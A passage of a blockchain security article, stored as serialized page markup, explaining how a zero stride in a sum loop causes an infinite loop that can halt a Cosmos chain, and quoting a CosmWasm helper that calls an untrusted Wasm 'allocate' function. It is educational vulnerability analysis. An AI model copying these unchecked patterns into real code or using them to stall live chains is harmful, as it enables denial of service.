",{"type":24,"tag":90,"props":77850,"children":77851},{"style":120},[77852],{"type":29,"value":5491},{"type":24,"tag":90,"props":77854,"children":77855},{"style":114},[77856],{"type":29,"value":77857}," start;\n",{"type":24,"tag":90,"props":77859,"children":77860},{"class":92,"line":281},[77861,77865,77870,77874,77878],{"type":24,"tag":90,"props":77862,"children":77863},{"style":146},[77864],{"type":29,"value":77760},{"type":24,"tag":90,"props":77866,"children":77867},{"style":114},[77868],{"type":29,"value":77869}," sum ",{"type":24,"tag":90,"props":77871,"children":77872},{"style":120},[77873],{"type":29,"value":5491},{"type":24,"tag":90,"props":77875,"children":77876},{"style":349},[77877],{"type":29,"value":5448},{"type":24,"tag":90,"props":77879,"children":77880},{"style":114},[77881],{"type":29,"value":381},{"type":24,"tag":90,"props":77883,"children":77884},{"class":92,"line":384},[77885,77889,77894,77898],{"type":24,"tag":90,"props":77886,"children":77887},{"style":146},[77888],{"type":29,"value":77760},{"type":24,"tag":90,"props":77890,"children":77891},{"style":114},[77892],{"type":29,"value":77893}," end ",{"type":24,"tag":90,"props":77895,"children":77896},{"style":120},[77897],{"type":29,"value":5491},{"type":24,"tag":90,"props":77899,"children":77900},{"style":114},[77901],{"type":29,"value":77902}," arr.length;\n",{"type":24,"tag":90,"props":77904,"children":77905},{"class":92,"line":420},[77906],{"type":24,"tag":90,"props":77907,"children":77908},{"emptyLinePlaceholder":16},[77909],{"type":29,"value":245},{"type":24,"tag":90,"props":77911,"children":77912},{"class":92,"line":428},[77913,77917,77922,77926],{"type":24,"tag":90,"props":77914,"children":77915},{"style":636},[77916],{"type":29,"value":66200},{"type":24,"tag":90,"props":77918,"children":77919},{"style":114},[77920],{"type":29,"value":77921}," (idx ",{"type":24,"tag":90,"props":77923,"children":77924},{"style":120},[77925],{"type":29,"value":1575},{"type":24,"tag":90,"props":77927,"children":77928},{"style":114},[77929],{"type":29,"value":77930}," end) {\n",{"type":24,"tag":90,"props":77932,"children":77933},{"class":92,"line":437},[77934,77939,77943],{"type":24,"tag":90,"props":77935,"children":77936},{"style":114},[77937],{"type":29,"value":77938}," sum ",{"type":24,"tag":90,"props":77940,"children":77941},{"style":120},[77942],{"type":29,"value":70265},{"type":24,"tag":90,"props":77944,"children":77945},{"style":114},[77946],{"type":29,"value":77947}," arr[idx];\n",{"type":24,"tag":90,"props":77949,"children":77950},{"class":92,"line":574},[77951,77956,77960],{"type":24,"tag":90,"props":77952,"children":77953},{"style":114},[77954],{"type":29,"value":77955}," idx ",{"type":24,"tag":90,"props":77957,"children":77958},{"style":120},[77959],{"type":29,"value":70265},{"type":24,"tag":90,"props":77961,"children":77962},{"style":114},[77963],{"type":29,"value":77964}," stride;\n",{"type":24,"tag":90,"props":77966,"children":77967},{"class":92,"line":606},[77968],{"type":24,"tag":90,"props":77969,"children":77970},{"style":114},[77971],{"type":29,"value":612},{"type":24,"tag":90,"props":77973,"children":77974},{"class":92,"line":615},[77975,77979],{"type":24,"tag":90,"props":77976,"children":77977},{"style":636},[77978],{"type":29,"value":3510},{"type":24,"tag":90,"props":77980,"children":77981},{"style":114},[77982],{"type":29,"value":77983}," sum;\n",{"type":24,"tag":90,"props":77985,"children":77986},{"class":92,"line":623},[77987],{"type":24,"tag":90,"props":77988,"children":77989},{"style":114},[77990],{"type":29,"value":827},{"type":24,"tag":80,"props":77992,"children":77996},{"code":77993,"language":77994,"meta":7,"className":77995,"style":7},"type MsgSumWithStrideParams struct {\n Start uint64\n Stride uint64\n Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n goCtx context.Context,\n msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n sum := uint64(0)\n end := uint64(len(msg.Arr))\n for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n sum += msg.Arr[idx]\n }\n return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[77997],{"type":24,"tag":32,"props":77998,"children":77999},{"__ignoreMap":7},[78000,78020,78033,78045,78063,78070,78077,78097,78109,78116,78123,78158,78184,78205,78234,78264,78309,78386,78422,78429,78473],{"type":24,"tag":90,"props":78001,"children":78002},{"class":92,"line":93},[78003,78007,78012,78016],{"type":24,"tag":90,"props":78004,"children":78005},{"style":97},[78006],{"type":29,"value":34570},{"type":24,"tag":90,"props":78008,"children":78009},{"style":146},[78010],{"type":29,"value":78011}," MsgSumWithStrideParams",{"type":24,"tag":90,"props":78013,"children":78014},{"style":97},[78015],{"type":29,"value":22947},{"type":24,"tag":90,"props":78017,"children":78018},{"style":114},[78019],{"type":29,"value":269},{"type":24,"tag":90,"props":78021,"children":78022},{"class":92,"line":200},[78023,78028],{"type":24,"tag":90,"props":78024,"children":78025},{"style":136},[78026],{"type":29,"value":78027}," Start",{"type":24,"tag":90,"props":78029,"children":78030},{"style":146},[78031],{"type":29,"value":78032}," uint64\n",{"type":24,"tag":90,"props":78034,"children":78035},{"class":92,"line":239},[78036,78041],{"type":24,"tag":90,"props":78037,"children":78038},{"style":136},[78039],{"type":29,"value":78040}," Stride",{"type":24,"tag":90,"props":78042,"children":78043},{"style":146},[78044],{"type":29,"value":78032},{"type":24,"tag":90,"props":78046,"children":78047},{"class":92,"line":248},[78048,78053,78058],{"type":24,"tag":90,"props":78049,"children":78050},{"style":136},[78051],{"type":29,"value":78052}," Arr",{"type":24,"tag":90,"props":78054,"children":78055},{"style":114},[78056],{"type":29,"value":78057}," []",{"type":24,"tag":90,"props":78059,"children":78060},{"style":146},[78061],{"type":29,"value":78062},"uint64\n",{"type":24,"tag":90,"props":78064,"children":78065},{"class":92,"line":258},[78066],{"type":24,"tag":90,"props":78067,"children":78068},{"style":114},[78069],{"type":29,"value":827},{"type":24,"tag":90,"props":78071,"children":78072},{"class":92,"line":272},[78073],{"type":24,"tag":90,"props":78074,"children":78075},{"emptyLinePlaceholder":16},[78076],{"type":29,"value":245},{"type":24,"tag":90,"props":78078,"children":78079},{"class":92,"line":281},[78080,78084,78089,78093],{"type":24,"tag":90,"props":78081,"children":78082},{"style":97},[78083],{"type":29,"value":34570},{"type":24,"tag":90,"props":78085,"children":78086},{"style":146},[78087],{"type":29,"value":78088}," MsgSumWithStrideResponse",{"type":24,"tag":90,"props":78090,"children":78091},{"style":97},[78092],{"type":29,"value":22947},{"type":24,"tag":90,"props":78094,"children":78095},{"style":114},[78096],{"type":29,"value":269},{"type":24,"tag":90,"props":78098,"children":78099},{"class":92,"line":384},[78100,78105],{"type":24,"tag":90,"props":78101,"children":78102},{"style":136},[78103],{"type":29,"value":78104}," Sum",{"type":24,"tag":90,"props":78106,"children":78107},{"style":146},[78108],{"type":29,"value":78032},{"type":24,"tag":90,"props":78110,"children":78111},{"class":92,"line":420},[78112],{"type":24,"tag":90,"props":78113,"children":78114},{"style":114},[78115],{"type":29,"value":827},{"type":24,"tag":90,"props":78117,"children":78118},{"class":92,"line":428},[78119],{"type":24,"tag":90,"props":78120,"children":78121},{"emptyLinePlaceholder":16},[78122],{"type":29,"value":245},{"type":24,"tag":90,"props":78124,"children":78125},{"class":92,"line":437},[78126,78131,78135,78140,78145,78149,78154],{"type":24,"tag":90,"props":78127,"children":78128},{"style":97},[78129],{"type":29,"value":78130},"func",{"type":24,"tag":90,"props":78132,"children":78133},{"style":114},[78134],{"type":29,"value":1151},{"type":24,"tag":90,"props":78136,"children":78137},{"style":136},[78138],{"type":29,"value":78139},"ms ",{"type":24,"tag":90,"props":78141,"children":78142},{"style":146},[78143],{"type":29,"value":78144},"msgServer",{"type":24,"tag":90,"props":78146,"children":78147},{"style":114},[78148],{"type":29,"value":172},{"type":24,"tag":90,"props":78150,"children":78151},{"style":108},[78152],{"type":29,"value":78153},"SumWithStride",{"type":24,"tag":90,"props":78155,"children":78156},{"style":114},[78157],{"type":29,"value":680},{"type":24,"tag":90,"props":78159,"children":78160},{"class":92,"line":574},[78161,78166,78171,78175,78180],{"type":24,"tag":90,"props":78162,"children":78163},{"style":136},[78164],{"type":29,"value":78165}," goCtx",{"type":24,"tag":90,"props":78167,"children":78168},{"style":146},[78169],{"type":29,"value":78170}," context",{"type":24,"tag":90,"props":78172,"children":78173},{"style":114},[78174],{"type":29,"value":226},{"type":24,"tag":90,"props":78176,"children":78177},{"style":146},[78178],{"type":29,"value":78179},"Context",{"type":24,"tag":90,"props":78181,"children":78182},{"style":114},[78183],{"type":29,"value":748},{"type":24,"tag":90,"props":78185,"children":78186},{"class":92,"line":606},[78187,78192,78196,78201],{"type":24,"tag":90,"props":78188,"children":78189},{"style":136},[78190],{"type":29,"value":78191}," msg",{"type":24,"tag":90,"props":78193,"children":78194},{"style":120},[78195],{"type":29,"value":366},{"type":24,"tag":90,"props":78197,"children":78198},{"style":146},[78199],{"type":29,"value":78200},"MsgSumWithStrideParams",{"type":24,"tag":90,"props":78202,"children":78203},{"style":114},[78204],{"type":29,"value":748},{"type":24,"tag":90,"props":78206,"children":78207},{"class":92,"line":615},[78208,78213,78217,78222,78226,78230],{"type":24,"tag":90,"props":78209,"children":78210},{"style":114},[78211],{"type":29,"value":78212},") (",{"type":24,"tag":90,"props":78214,"children":78215},{"style":120},[78216],{"type":29,"value":983},{"type":24,"tag":90,"props":78218,"children":78219},{"style":146},[78220],{"type":29,"value":78221},"MsgSumWithStrideResponse",{"type":24,"tag":90,"props":78223,"children":78224},{"style":114},[78225],{"type":29,"value":133},{"type":24,"tag":90,"props":78227,"children":78228},{"style":146},[78229],{"type":29,"value":1357},{"type":24,"tag":90,"props":78231,"children":78232},{"style":114},[78233],{"type":29,"value":1297},{"type":24,"tag":90,"props":78235,"children":78236},{"class":92,"line":623},[78237,78242,78247,78252,78256,78260],{"type":24,"tag":90,"props":78238,"children":78239},{"style":136},[78240],{"type":29,"value":78241}," sum",{"type":24,"tag":90,"props":78243,"children":78244},{"style":120},[78245],{"type":29,"value":78246}," :=",{"type":24,"tag":90,"props":78248,"children":78249},{"style":146},[78250],{"type":29,"value":78251}," uint64",{"type":24,"tag":90,"props":78253,"children":78254},{"style":114},[78255],{"type":29,"value":117},{"type":24,"tag":90,"props":78257,"children":78258},{"style":349},[78259],{"type":29,"value":6408},{"type":24,"tag":90,"props":78261,"children":78262},{"style":114},[78263],{"type":29,"value":1686},{"type":24,"tag":90,"props":78265,"children":78266},{"class":92,"line":632},[78267,78272,78276,78280,78284,78288,78292,78296,78300,78305],{"type":24,"tag":90,"props":78268,"children":78269},{"style":136},[78270],{"type":29,"value":78271}," end",{"type":24,"tag":90,"props":78273,"children":78274},{"style":120},[78275],{"type":29,"value":78246},{"type":24,"tag":90,"props":78277,"children":78278},{"style":146},[78279],{"type":29,"value":78251},{"type":24,"tag":90,"props":78281,"children":78282},{"style":114},[78283],{"type":29,"value":117},{"type":24,"tag":90,"props":78285,"children":78286},{"style":108},[78287],{"type":29,"value":11513},{"type":24,"tag":90,"props":78289,"children":78290},{"style":114},[78291],{"type":29,"value":117},{"type":24,"tag":90,"props":78293,"children":78294},{"style":136},[78295],{"type":29,"value":59771},{"type":24,"tag":90,"props":78297,"children":78298},{"style":114},[78299],{"type":29,"value":226},{"type":24,"tag":90,"props":78301,"children":78302},{"style":136},[78303],{"type":29,"value":78304},"Arr",{"type":24,"tag":90,"props":78306,"children":78307},{"style":114},[78308],{"type":29,"value":21507},{"type":24,"tag":90,"props":78310,"children":78311},{"class":92,"line":669},[78312,78316,78321,78325,78330,78334,78339,78343,78348,78352,78357,78361,78365,78369,78373,78377,78382],{"type":24,"tag":90,"props":78313,"children":78314},{"style":636},[78315],{"type":29,"value":5434},{"type":24,"tag":90,"props":78317,"children":78318},{"style":136},[78319],{"type":29,"value":78320}," idx",{"type":24,"tag":90,"props":78322,"children":78323},{"style":120},[78324],{"type":29,"value":78246},{"type":24,"tag":90,"props":78326,"children":78327},{"style":136},[78328],{"type":29,"value":78329}," msg",{"type":24,"tag":90,"props":78331,"children":78332},{"style":114},[78333],{"type":29,"value":226},{"type":24,"tag":90,"props":78335,"children":78336},{"style":136},[78337],{"type":29,"value":78338},"Start",{"type":24,"tag":90,"props":78340,"children":78341},{"style":114},[78342],{"type":29,"value":3748},{"type":24,"tag":90,"props":78344,"children":78345},{"style":136},[78346],{"type":29,"value":78347},"idx",{"type":24,"tag":90,"props":78349,"children":78350},{"style":120},[78351],{"type":29,"value":11095},{"type":24,"tag":90,"props":78353,"children":78354},{"style":136},[78355],{"type":29,"value":78356}," end",{"type":24,"tag":90,"props":78358,"children":78359},{"style":114},[78360],{"type":29,"value":3748},{"type":24,"tag":90,"props":78362,"children":78363},{"style":136},[78364],{"type":29,"value":78347},{"type":24,"tag":90,"props":78366,"children":78367},{"style":120},[78368],{"type":29,"value":1561},{"type":24,"tag":90,"props":78370,"children":78371},{"style":136},[78372],{"type":29,"value":78329},{"type":24,"tag":90,"props":78374,"children":78375},{"style":114},[78376],{"type":29,"value":226},{"type":24,"tag":90,"props":78378,"children":78379},{"style":136},[78380],{"type":29,"value":78381},"Stride",{"type":24,"tag":90,"props":78383,"children":78384},{"style":114},[78385],{"type":29,"value":269},{"type":24,"tag":90,"props":78387,"children":78388},{"class":92,"line":683},[78389,78394,78398,78402,78406,78410,78414,78418],{"type":24,"tag":90,"props":78390,"children":78391},{"style":136},[78392],{"type":29,"value":78393}," sum",{"type":24,"tag":90,"props":78395,"children":78396},{"style":120},[78397],{"type":29,"value":1561},{"type":24,"tag":90,"props":78399,"children":78400},{"style":136},[78401],{"type":29,"value":78329},{"type":24,"tag":90,"props":78403,"children":78404},{"style":114},[78405],{"type":29,"value":226},{"type":24,"tag":90,"props":78407,"children":78408},{"style":136},[78409],{"type":29,"value":78304},{"type":24,"tag":90,"props":78411,"children":78412},{"style":114},[78413],{"type":29,"value":719},{"type":24,"tag":90,"props":78415,"children":78416},{"style":136},[78417],{"type":29,"value":78347},{"type":24,"tag":90,"props":78419,"children":78420},{"style":114},[78421],{"type":29,"value":14141},{"type":24,"tag":90,"props":78423,"children":78424},{"class":92,"line":737},[78425],{"type":24,"tag":90,"props":78426,"children":78427},{"style":114},[78428],{"type":29,"value":612},{"type":24,"tag":90,"props":78430,"children":78431},{"class":92,"line":751},[78432,78436,78440,78444,78449,78454,78458,78463,78468],{"type":24,"tag":90,"props":78433,"children":78434},{"style":636},[78435],{"type":29,"value":3510},{"type":24,"tag":90,"props":78437,"children":78438},{"style":120},[78439],{"type":29,"value":455},{"type":24,"tag":90,"props":78441,"children":78442},{"style":146},[78443],{"type":29,"value":78221},{"type":24,"tag":90,"props":78445,"children":78446},{"style":114},[78447],{"type":29,"value":78448},"{",{"type":24,"tag":90,"props":78450,"children":78451},{"style":136},[78452],{"type":29,"value":78453},"Sum",{"type":24,"tag":90,"props":78455,"children":78456},{"style":114},[78457],{"type":29,"value":1833},{"type":24,"tag":90,"props":78459,"children":78460},{"style":136},[78461],{"type":29,"value":78462},"sum",{"type":24,"tag":90,"props":78464,"children":78465},{"style":114},[78466],{"type":29,"value":78467},"}, ",{"type":24,"tag":90,"props":78469,"children":78470},{"style":97},[78471],{"type":29,"value":78472},"nil\n",{"type":24,"tag":90,"props":78474,"children":78475},{"class":92,"line":782},[78476],{"type":24,"tag":90,"props":78477,"children":78478},{"style":114},[78479],{"type":29,"value":827},{"type":24,"tag":25,"props":78481,"children":78482},{},[78483,78485,78490,78491,78497],{"type":29,"value":78484},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":24,"tag":32,"props":78486,"children":78488},{"className":78487},[],[78489],{"type":29,"value":78347},{"type":29,"value":9695},{"type":24,"tag":32,"props":78492,"children":78494},{"className":78493},[],[78495],{"type":29,"value":78496},"stride",{"type":29,"value":78498},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":24,"tag":25,"props":78500,"children":78501},{},[78502],{"type":29,"value":78503},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":24,"tag":25,"props":78505,"children":78506},{},[78507],{"type":29,"value":78508},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":24,"tag":25,"props":78510,"children":78511},{},[78512],{"type":29,"value":78513},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":24,"tag":1019,"props":78515,"children":78517},{"id":78516},"real-world-examples",[78518],{"type":29,"value":78519},"Real-World Examples",{"type":24,"tag":25,"props":78521,"children":78522},{},[78523],{"type":29,"value":78524},"Now, let's examine a few real-world instances.",{"type":24,"tag":25,"props":78526,"children":78527},{},[78528,78530,78536,78537,78543,78545,78551,78553,78559],{"type":29,"value":78529},"In the case of ",{"type":24,"tag":69,"props":78531,"children":78534},{"href":78532,"rel":78533},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[73],[78535],{"type":29,"value":4216},{"type":29,"value":2877},{"type":24,"tag":32,"props":78538,"children":78540},{"className":78539},[],[78541],{"type":29,"value":78542},"CosmWasm",{"type":29,"value":78544}," bug, the helper method ",{"type":24,"tag":32,"props":78546,"children":78548},{"className":78547},[],[78549],{"type":29,"value":78550},"write_to_contract",{"type":29,"value":78552}," negligently calls the untrusted Wasm function ",{"type":24,"tag":32,"props":78554,"children":78556},{"className":78555},[],[78557],{"type":29,"value":78558},"\"allocate\"",{"type":29,"value":226},{"type":24,"tag":25,"props":78561,"children":78562},{},[78563],{"type":24,"tag":69,"props":78564,"children":78567},{"href":78565,"rel":78566},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[73],[78568],{"type":29,"value":78569},"Permalink for snippet",{"type":24,"tag":80,"props":78571,"children":78573},{"code":78572,"language":84,"meta":7,"className":82,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n env: &Environment\u003CA, S, Q>,\n input: &[u8],\n) -> VmResult\u003Cu32> {\n let out_size = to_u32(input.len())?;\n let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n let target_ptr = ref_to_u32(&result)?;\n if target_ptr == 0 {\n return Err(CommunicationError::zero_address().into());\n }\n write_region(&env.memory(), target_ptr, input)?;\n Ok(target_ptr)\n}\n",[78574],{"type":24,"tag":32,"props":78575,"children":78576},{"__ignoreMap":7},[78577,78646,78694,78722,78751,78800,78874,78919,78942,78987,78994,79051,79070],{"type":24,"tag":90,"props":78578,"children":78579},{"class":92,"line":93},[78580,78584,78589,78593,78598,78602,78607,78611,78615,78619,78624,78628,78633,78637,78642],{"type":24,"tag":90,"props":78581,"children":78582},{"style":97},[78583],{"type":29,"value":22062},{"type":24,"tag":90,"props":78585,"children":78586},{"style":108},[78587],{"type":29,"value":78588}," write_to_contract",{"type":24,"tag":90,"props":78590,"children":78591},{"style":114},[78592],{"type":29,"value":1575},{"type":24,"tag":90,"props":78594,"children":78595},{"style":146},[78596],{"type":29,"value":78597},"A",{"type":24,"tag":90,"props":78599,"children":78600},{"style":120},[78601],{"type":29,"value":78},{"type":24,"tag":90,"props":78603,"children":78604},{"style":146},[78605],{"type":29,"value":78606}," BackendApi",{"type":24,"tag":90,"props":78608,"children":78609},{"style":114},[78610],{"type":29,"value":133},{"type":24,"tag":90,"props":78612,"children":78613},{"style":146},[78614],{"type":29,"value":23846},{"type":24,"tag":90,"props":78616,"children":78617},{"style":120},[78618],{"type":29,"value":78},{"type":24,"tag":90,"props":78620,"children":78621},{"style":146},[78622],{"type":29,"value":78623}," Storage",{"type":24,"tag":90,"props":78625,"children":78626},{"style":114},[78627],{"type":29,"value":133},{"type":24,"tag":90,"props":78629,"children":78630},{"style":146},[78631],{"type":29,"value":78632},"Q",{"type":24,"tag":90,"props":78634,"children":78635},{"style":120},[78636],{"type":29,"value":78},{"type":24,"tag":90,"props":78638,"children":78639},{"style":146},[78640],{"type":29,"value":78641}," Querier",{"type":24,"tag":90,"props":78643,"children":78644},{"style":114},[78645],{"type":29,"value":8973},{"type":24,"tag":90,"props":78647,"children":78648},{"class":92,"line":200},[78649,78653,78657,78661,78666,78670,78674,78678,78682,78686,78690],{"type":24,"tag":90,"props":78650,"children":78651},{"style":136},[78652],{"type":29,"value":6224},{"type":24,"tag":90,"props":78654,"children":78655},{"style":120},[78656],{"type":29,"value":78},{"type":24,"tag":90,"props":78658,"children":78659},{"style":120},[78660],{"type":29,"value":455},{"type":24,"tag":90,"props":78662,"children":78663},{"style":146},[78664],{"type":29,"value":78665},"Environment",{"type":24,"tag":90,"props":78667,"children":78668},{"style":114},[78669],{"type":29,"value":1575},{"type":24,"tag":90,"props":78671,"children":78672},{"style":146},[78673],{"type":29,"value":78597},{"type":24,"tag":90,"props":78675,"children":78676},{"style":114},[78677],{"type":29,"value":133},{"type":24,"tag":90,"props":78679,"children":78680},{"style":146},[78681],{"type":29,"value":23846},{"type":24,"tag":90,"props":78683,"children":78684},{"style":114},[78685],{"type":29,"value":133},{"type":24,"tag":90,"props":78687,"children":78688},{"style":146},[78689],{"type":29,"value":78632},{"type":24,"tag":90,"props":78691,"children":78692},{"style":114},[78693],{"type":29,"value":8523},{"type":24,"tag":90,"props":78695,"children":78696},{"class":92,"line":239},[78697,78702,78706,78710,78714,78718],{"type":24,"tag":90,"props":78698,"children":78699},{"style":136},[78700],{"type":29,"value":78701}," input",{"type":24,"tag":90,"props":78703,"children":78704},{"style":120},[78705],{"type":29,"value":78},{"type":24,"tag":90,"props":78707,"children":78708},{"style":120},[78709],{"type":29,"value":455},{"type":24,"tag":90,"props":78711,"children":78712},{"style":114},[78713],{"type":29,"value":719},{"type":24,"tag":90,"props":78715,"children":78716},{"style":146},[78717],{"type":29,"value":1409},{"type":24,"tag":90,"props":78719,"children":78720},{"style":114},[78721],{"type":29,"value":734},{"type":24,"tag":90,"props":78723,"children":78724},{"class":92,"line":248},[78725,78729,78733,78738,78742,78747],{"type":24,"tag":90,"props":78726,"children":78727},{"style":114},[78728],{"type":29,"value":172},{"type":24,"tag":90,"props":78730,"children":78731},{"style":120},[78732],{"type":29,"value":177},{"type":24,"tag":90,"props":78734,"children":78735},{"style":146},[78736],{"type":29,"value":78737}," VmResult",{"type":24,"tag":90,"props":78739,"children":78740},{"style":114},[78741],{"type":29,"value":1575},{"type":24,"tag":90,"props":78743,"children":78744},{"style":146},[78745],{"type":29,"value":78746},"u32",{"type":24,"tag":90,"props":78748,"children":78749},{"style":114},[78750],{"type":29,"value":197},{"type":24,"tag":90,"props":78752,"children":78753},{"class":92,"line":258},[78754,78758,78763,78767,78772,78776,78780,78784,78788,78792,78796],{"type":24,"tag":90,"props":78755,"children":78756},{"style":97},[78757],{"type":29,"value":206},{"type":24,"tag":90,"props":78759,"children":78760},{"style":136},[78761],{"type":29,"value":78762}," out_size",{"type":24,"tag":90,"props":78764,"children":78765},{"style":120},[78766],{"type":29,"value":216},{"type":24,"tag":90,"props":78768,"children":78769},{"style":108},[78770],{"type":29,"value":78771}," to_u32",{"type":24,"tag":90,"props":78773,"children":78774},{"style":114},[78775],{"type":29,"value":117},{"type":24,"tag":90,"props":78777,"children":78778},{"style":136},[78779],{"type":29,"value":1106},{"type":24,"tag":90,"props":78781,"children":78782},{"style":120},[78783],{"type":29,"value":226},{"type":24,"tag":90,"props":78785,"children":78786},{"style":108},[78787],{"type":29,"value":11513},{"type":24,"tag":90,"props":78789,"children":78790},{"style":114},[78791],{"type":29,"value":43782},{"type":24,"tag":90,"props":78793,"children":78794},{"style":120},[78795],{"type":29,"value":714},{"type":24,"tag":90,"props":78797,"children":78798},{"style":114},[78799],{"type":29,"value":381},{"type":24,"tag":90,"props":78801,"children":78802},{"class":92,"line":272},[78803,78807,78811,78815,78819,78823,78828,78832,78836,78840,78844,78848,78853,78857,78861,78866,78870],{"type":24,"tag":90,"props":78804,"children":78805},{"style":97},[78806],{"type":29,"value":206},{"type":24,"tag":90,"props":78808,"children":78809},{"style":136},[78810],{"type":29,"value":11534},{"type":24,"tag":90,"props":78812,"children":78813},{"style":120},[78814],{"type":29,"value":216},{"type":24,"tag":90,"props":78816,"children":78817},{"style":136},[78818],{"type":29,"value":44776},{"type":24,"tag":90,"props":78820,"children":78821},{"style":120},[78822],{"type":29,"value":226},{"type":24,"tag":90,"props":78824,"children":78825},{"style":108},[78826],{"type":29,"value":78827},"call_function1",{"type":24,"tag":90,"props":78829,"children":78830},{"style":114},[78831],{"type":29,"value":117},{"type":24,"tag":90,"props":78833,"children":78834},{"style":1085},[78835],{"type":29,"value":78558},{"type":24,"tag":90,"props":78837,"children":78838},{"style":114},[78839],{"type":29,"value":133},{"type":24,"tag":90,"props":78841,"children":78842},{"style":120},[78843],{"type":29,"value":123},{"type":24,"tag":90,"props":78845,"children":78846},{"style":114},[78847],{"type":29,"value":719},{"type":24,"tag":90,"props":78849,"children":78850},{"style":136},[78851],{"type":29,"value":78852},"out_size",{"type":24,"tag":90,"props":78854,"children":78855},{"style":120},[78856],{"type":29,"value":226},{"type":24,"tag":90,"props":78858,"children":78859},{"style":108},[78860],{"type":29,"value":1379},{"type":24,"tag":90,"props":78862,"children":78863},{"style":114},[78864],{"type":29,"value":78865},"()])",{"type":24,"tag":90,"props":78867,"children":78868},{"style":120},[78869],{"type":29,"value":714},{"type":24,"tag":90,"props":78871,"children":78872},{"style":114},[78873],{"type":29,"value":381},{"type":24,"tag":90,"props":78875,"children":78876},{"class":92,"line":281},[78877,78881,78886,78890,78895,78899,78903,78907,78911,78915],{"type":24,"tag":90,"props":78878,"children":78879},{"style":97},[78880],{"type":29,"value":206},{"type":24,"tag":90,"props":78882,"children":78883},{"style":136},[78884],{"type":29,"value":78885}," target_ptr",{"type":24,"tag":90,"props":78887,"children":78888},{"style":120},[78889],{"type":29,"value":216},{"type":24,"tag":90,"props":78891,"children":78892},{"style":108},[78893],{"type":29,"value":78894}," ref_to_u32",{"type":24,"tag":90,"props":78896,"children":78897},{"style":114},[78898],{"type":29,"value":117},{"type":24,"tag":90,"props":78900,"children":78901},{"style":120},[78902],{"type":29,"value":123},{"type":24,"tag":90,"props":78904,"children":78905},{"style":136},[78906],{"type":29,"value":11456},{"type":24,"tag":90,"props":78908,"children":78909},{"style":114},[78910],{"type":29,"value":517},{"type":24,"tag":90,"props":78912,"children":78913},{"style":120},[78914],{"type":29,"value":714},{"type":24,"tag":90,"props":78916,"children":78917},{"style":114},[78918],{"type":29,"value":381},{"type":24,"tag":90,"props":78920,"children":78921},{"class":92,"line":384},[78922,78926,78930,78934,78938],{"type":24,"tag":90,"props":78923,"children":78924},{"style":636},[78925],{"type":29,"value":639},{"type":24,"tag":90,"props":78927,"children":78928},{"style":136},[78929],{"type":29,"value":78885},{"type":24,"tag":90,"props":78931,"children":78932},{"style":120},[78933],{"type":29,"value":2102},{"type":24,"tag":90,"props":78935,"children":78936},{"style":349},[78937],{"type":29,"value":5448},{"type":24,"tag":90,"props":78939,"children":78940},{"style":114},[78941],{"type":29,"value":269},{"type":24,"tag":90,"props":78943,"children":78944},{"class":92,"line":420},[78945,78949,78953,78957,78962,78966,78971,78975,78979,78983],{"type":24,"tag":90,"props":78946,"children":78947},{"style":636},[78948],{"type":29,"value":2253},{"type":24,"tag":90,"props":78950,"children":78951},{"style":146},[78952],{"type":29,"value":2258},{"type":24,"tag":90,"props":78954,"children":78955},{"style":114},[78956],{"type":29,"value":117},{"type":24,"tag":90,"props":78958,"children":78959},{"style":146},[78960],{"type":29,"value":78961},"CommunicationError",{"type":24,"tag":90,"props":78963,"children":78964},{"style":120},[78965],{"type":29,"value":1211},{"type":24,"tag":90,"props":78967,"children":78968},{"style":108},[78969],{"type":29,"value":78970},"zero_address",{"type":24,"tag":90,"props":78972,"children":78973},{"style":114},[78974],{"type":29,"value":314},{"type":24,"tag":90,"props":78976,"children":78977},{"style":120},[78978],{"type":29,"value":226},{"type":24,"tag":90,"props":78980,"children":78981},{"style":108},[78982],{"type":29,"value":1379},{"type":24,"tag":90,"props":78984,"children":78985},{"style":114},[78986],{"type":29,"value":1928},{"type":24,"tag":90,"props":78988,"children":78989},{"class":92,"line":428},[78990],{"type":24,"tag":90,"props":78991,"children":78992},{"style":114},[78993],{"type":29,"value":612},{"type":24,"tag":90,"props":78995,"children":78996},{"class":92,"line":437},[78997,79002,79006,79010,79014,79018,79022,79026,79031,79035,79039,79043,79047],{"type":24,"tag":90,"props":78998,"children":78999},{"style":108},[79000],{"type":29,"value":79001}," write_region",{"type":24,"tag":90,"props":79003,"children":79004},{"style":114},[79005],{"type":29,"value":117},{"type":24,"tag":90,"props":79007,"children":79008},{"style":120},[79009],{"type":29,"value":123},{"type":24,"tag":90,"props":79011,"children":79012},{"style":136},[79013],{"type":29,"value":37506},{"type":24,"tag":90,"props":79015,"children":79016},{"style":120},[79017],{"type":29,"value":226},{"type":24,"tag":90,"props":79019,"children":79020},{"style":108},[79021],{"type":29,"value":77802},{"type":24,"tag":90,"props":79023,"children":79024},{"style":114},[79025],{"type":29,"value":4900},{"type":24,"tag":90,"props":79027,"children":79028},{"style":136},[79029],{"type":29,"value":79030},"target_ptr",{"type":24,"tag":90,"props":79032,"children":79033},{"style":114},[79034],{"type":29,"value":133},{"type":24,"tag":90,"props":79036,"children":79037},{"style":136},[79038],{"type":29,"value":1106},{"type":24,"tag":90,"props":79040,"children":79041},{"style":114},[79042],{"type":29,"value":517},{"